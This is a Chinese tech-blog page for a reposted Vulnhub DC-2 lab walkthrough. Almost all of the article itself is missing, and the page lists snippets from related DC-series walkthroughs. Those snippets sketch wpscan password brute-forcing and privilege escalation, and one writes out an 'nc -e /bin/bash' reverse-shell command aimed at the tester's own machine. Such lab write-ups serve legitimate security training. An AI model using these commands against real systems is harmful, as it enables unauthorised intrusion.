六 、Vulnhub靶机实战——DC-2

最新推荐文章于 2024-10-28 20:32:02 发布
转载 最新推荐文章于 2024-10-28 20:32:02 发布 · 221 阅读 · 0 ·
CC 4.0 BY-SA版权
原文链接：https://blog.youkuaiyun.com/weixin_43583637/article/details/101552825

本文详细介绍了在 Vulnhub 平台上进行 DC-2 靶机实战的过程，包括渗透测试的各个阶段，从信息收集到漏洞利用，再到权限提升，最后实现对目标系统的完全控制。
靶机渗透——DC-2
Lorezon的博客
04-14 384
扫描靶机IP nmap一波
vulnhub DC: 6
箭雨镜屋
01-12 1078
渗透思路： nmap扫描---->wpscan枚举wordpress用户---->wpscan暴力破解wordpress用户名密码---->利用RCE漏洞getshell---->sudo提权
【vulnhub】---DC-6靶机
qq_43168364的博客
08-21 830
目录 一、实验环境 二、信息收集 三、渗透测试 　　1、漏洞发现和利用 　　2、提权 四、总结 一、实验环境 靶机：靶机(192.168.15.154) 攻击机：kali Linux(192.168.15.129) 二、信息收集 主机发现 命令：nmap -sn 192.168.15.0/24 命令：netdiscover -i eth0 -r 192.168.15.0/24 端口扫描 版本探测和操作系统识别 web指纹识别 网站目录扫描 三、渗透测试 1、漏洞发现和利用 2、提权 四、总结 渗
VulnHub之DC-2
qq_45434762的博客
03-22 459
一个粗糙的端口扫描通过对目标主机进行端口探测，发现只开放了80端口，那就先访问一下看当我们通过IP访问的时候，会自动跳转成 http://dc-2我们需要在/etc/hosts 文件中...
vulnhub--DC2
weixin_55129870的博客
05-12 1454
环境：kali、DC2靶机 DC2靶机默认桥接模式，开启前改成net模式，保证kali和DC2在同一局域网中。（也可都是桥接模式，我比较习惯net模式） ifconfig查看kaliIP地址：192.168.44.131 查看C段，准备C段扫描，在虚拟机编辑--虚拟网络编辑器中， 得知网段192.168.44.0/24，使用nmap扫描存活主机 nmap -sP 192.168.44.0/24 #扫描IP段的所有IP地址 一般都会扫描出5个存活主机，出去较大的，较小的，得知.
Vulnhub靶机实战——DC-4
冠霖L的博客
09-27 3362
靶机DC-4下载地址：https://download.vulnhub.com/dc/DC-4.zip 描述：从靶机DC-3开始，只有一个入口和一个最终的flag，只有拿到root权限才可以发现最终的flag，DC-4也是一样 环境：Vmware 15 Pro虚拟机软件 DC-4靶机IP地址：192.168.220.138 Kali的IP地址：...
Vulnhub靶机渗透测试——DC-1
Cobra的博客
04-12 2727
Vulnhub靶机渗透测试实战——DC-1 一、实验环境 攻击机（kali）: 192.168.189.148 靶机（ubuntu）: 192.168.189.172] 二、信息收集 1、使用nmap扫描进行主机发现 nmap 192.168.189.0/24 2、发现IP为192.168.189.172主机开放80和22等端口，访问其80端口 三、漏洞利用 1、发现该站点是由Drupal搭建，利用msf进行漏洞利用 use exploit/unix/webapp/drupal_drupalgedd
Vulnhub靶机实战——DC-7
冠霖L的博客
10-29 5316
靶机DC-7下载地址：https://download.vulnhub.com/dc/DC-7.zip 环境：VMware 15虚拟机软件 DC-7靶机IP地址：192.168.220.154 Kali的IP地址：192.168.220.155 DC-6靶机与kali都以NAT模式连接到网络，查看kali的IP地址：192.168.220.155...
vulnhub靶机渗透DC-5
RestoreJustice的博客
03-17 308
前面收集信息，我们知道靶机使用nginx站点，nginx日志默认路径为/var/log/nginx/access.log。直接访问：http://192.168.80.134/%3C?反弹shell到kail中：nc -e /bin/bash/ 192.168.80.130 10086，然后利用python反弹，获得交互式shell，方便使用：python -c ‘import pty;这里连接到虚拟网卡1。下载地址：https://www.vulnhub.com/entry/dc-5,314/
Vulnhub靶机实战——DC-3
冠霖L的博客
09-27 9330
靶机DC-3下载地址：https://download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址：https://download.vulnhub.com/dc/DC-3VMware.zip 注：开始将DC-3.ova文件导入VMware虚拟机，发现无法获取到靶机IP地址，作者在DC-3靶机下载页面提到可以下载已经搭建好的DC-3VMware，然...
靶机实战-DC-2
滕财然的博客
01-31 1078
DC-2靶机实战 文章目录DC-2靶机实战1、主机发现2、端口扫描及其详细信息3、访问web服务(80端口) 1、主机发现 目标IP：192.168.232.143 2、端口扫描及其详细信息 开放80、7744端口 3、访问web服务(80端口) 找不到网站，判断是本地不解析域名，（通常是解析造成的）在hosts文件添加对应的ip和域名 物理机编辑/etc/hosts文件，添加靶机IP地址及...
靶机渗透-----DC-2
Z_Grant的博客
09-17 3911
文章目录一，工具介绍(1)cewl密码生成器(2)WPScan二，测试流程(1)主机发现(2)根据80端口的进一步测试(3)攻击准备(4)结合扫描出来的服务，尝试SSH登录 一，工具介绍 (1)cewl密码生成器 参考文章 用途 cewl是一个ruby应用，爬行指定url的指定深度。结果会返回一个单词列表，这个列进行密码爆破。 . 原理 爬取网站上的信息，遍历目录。生成一些可能的密码组合。...
Vulnhub DC-6
柠檬木有枝
07-14 565
nmap 扫描服务 修改 hosts 文件 发现是 wordpress wpscan --url http://wordy/ --enumerate u 查看wordpress用户 爆破得密码 mark:helpdesk01 发现 active monitor 插件 搜索 exp ，反弹 shell 发现用户名密码 python -c 'import pty;pty.spawn("/b...
vulnhub-dc6
bqnagus
09-30 199
vulnhub-dc6靶机复现
VulnHub—DC-6
weixin_39219503的博客
02-01 400
01 环境搭建 靶机环境下载：https://www.vulnhub.com/entry/dc-6,315/ 题目信息如下 Description DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. T...
vulnhub之dc6
qq_54030686的博客
06-14 969
DC系列第六篇，整体而言难度较低，此篇之后，不再进行较为细致的篇幅 总体逻辑：话不多说，开始干 主机发现，端口扫描 目标IP为192.168.43.140 开放两个端口22 和80 端口，其中80端口对应的服务为wordy,修改hosts文件，路径为/etc/hosts，添加值 22端口尝试进行爆破，采用用户名top50，字典使用弱口令top100进行尝试 未发现相应结果 进行指纹识别 发现为wordpress框架，使用wordpress专用扫描器进行检测，使用-e参数爆破用户 存在5个用户复制变异成字典
vulnhub-dc6-DC6
yutianovo的博客
10-06 441
靶机描述 DESCRIPTION DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. This isn't an overly difficult challenge so should be great for beginners. The ultimate goal of this challenge is t
vulnhub渗透测试靶机DC-6
weixin_46128614的博客
01-19 612
靶机地址：https://www.vulnhub.com/entry/dc-6,315/ nmap –sS –sV –p- -T5 dirb跑一下，全是wp的目录 上wpscan 改一下hosts 加一条 192.168.49.20 wordy 没有发现漏洞 发现几个用户 逐一爆破吧 开开心心爆了半个小时，进度0.1%，这么多用户感觉爆破思路不会错，看了一眼师傅的wp，原来作者在vulnhu...
【Vulnhub靶场】DC-6
good good study day day up
10-28 923
DC-6靶场渗透测试过程，免密root用户切换，SUDO提权之nmap
vulnhub靶机dc-1
最新发布
01-11
### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台，在此环境中可以合法地进行各种攻击尝试，从而提升技能。该虚拟环境模拟了一个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值